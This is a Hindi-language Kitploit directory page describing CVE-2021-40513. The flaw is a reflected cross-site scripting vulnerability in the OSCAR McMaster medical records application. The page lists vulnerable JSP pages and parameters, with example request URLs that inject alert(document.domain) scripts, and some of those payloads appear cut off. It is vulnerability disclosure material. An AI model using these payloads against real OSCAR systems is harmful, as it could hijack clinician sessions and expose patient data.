Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-40513 — CVE-2021-40513 OSCAR McMaster 19.40~1235 रिफ्लेक्टेड क्रॉस साइट स्क्रिप्टिंग भेद्यता। | Kitploit
उपकरण/GitHubGitHub/war4uthor/cve-2021-40513
भेद्यता विश्लेषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubwar4uthor/cve-2021-40513

CVE-2021-40513

CVE-2021-40513 OSCAR McMaster 19.40~1235 रिफ्लेक्टेड क्रॉस साइट स्क्रिप्टिंग भेद्यता।

रिपॉजिटरी देखें
5 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-40513 OSCAR McMaster 19.40~1235 रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग भेद्यता

OSCAR McMaster एप्लिकेशन के संस्करण 19.40~1235 में कई पृष्ठों में एक रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग भेद्यता मौजूद है जो JavaScript कमांडों के मनमाने निष्पादन की अनुमति देती है।

[CVE mitre के लिए प्लेसहोल्डर]

संवेदनशील JSP पृष्ठ:

documentReport.jsp - functionid, function, curUser पैरामीटर

addappointment.jsp - duration, end_time, start_time, day, month, year, provider_no पैरामीटर

unLock.jsp - userName पैरामीटर

semographiccontrol.jsp - keyword पैरामीटर

providercontrol.jsp - provider_no, viewall, view, month, year, day, every_min पैरामीटर

CalendarPopup.jsp - month, year, param, urlfrom पैरामीटर

logReport.jsp - endDate, startDate पैरामीटर

SendDemoMessage.do - demographic_no पैरामीटर

ViewConsultation.do - demographic_no पैरामीटर

उदाहरण संवेदनशील पेलोड:

documentReport.jsp - /oscar/dms/documentReport.jsp?function=provider&functionid=999998&curUser=999998daka4%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Eowtpz

addappointment.jsp - /oscar/appointment/addappointment.jsp?provider_no=999998&bFirstDisp=true&year=2021&month=08&day=27&start_time=08:00&end_time=08%3a14pyqzl'>

unLock.jsp - /oscar/admin/unLock.jsp?userName=192.168.105.149w5q31%3Cscript%3Ealert(document.domain)%3C%2fscript%3Efe9hjvibv0e&submit=Unlock

semographiccontrol.jsp - /oscar/demographic/demographiccontrol.jsp?search_mode=search_name&keyword=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&orderby=last_name%2C+first_name&dboperation=search_titlename&limit1=0&limit2=10&displaymode=Search&ptstatus=active&fromMessenger=false&outofdomain=

providercontrol.jsp - /oscar/provider/providercontrol.jsp?year=%3Cscript%3Ealert(document.domain)%3C/script%3E;&month=8&day=18&view=0&curProvider=null&curProviderName=null&displaymode=day&dboperation=searchappointmentday

CalendarPopup.jsp - /oscar/share/CalendarPopup.jsp?urlfrom=xm4vs">

logReport.jsp - /oscar/admin/logReport.jsp?providerNo=*&content=admin&startDate=2021-08-29b2266"><script>alert(document.domain)<%2fscript>xdzr6digegi&endDate=2021-08-30&submit=Run+Report

SendDemoMessage.do - /oscar/oscarMessenger/SendDemoMessage.do?demographic_no=dllj2%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ej7t05

ViewConsultation.do - /oscar/oscarEncounter/ViewConsultation.do?sendTo=i15ji%3cscript%3ealert(document.domain)%3c%2fscript%3eu5x29&startDate=&endDate=&searchDate=0&currentTeam=&orderby=2%27%20ASC&desc=0&offset=&limit=100&mrpNo=&patientId=&serviceFilter=&consultantFilter=&urgencyFilter=

जैक मैकब्राइड द्वारा खोजा गया, अगस्त 2021

टूल डाउनलोड करें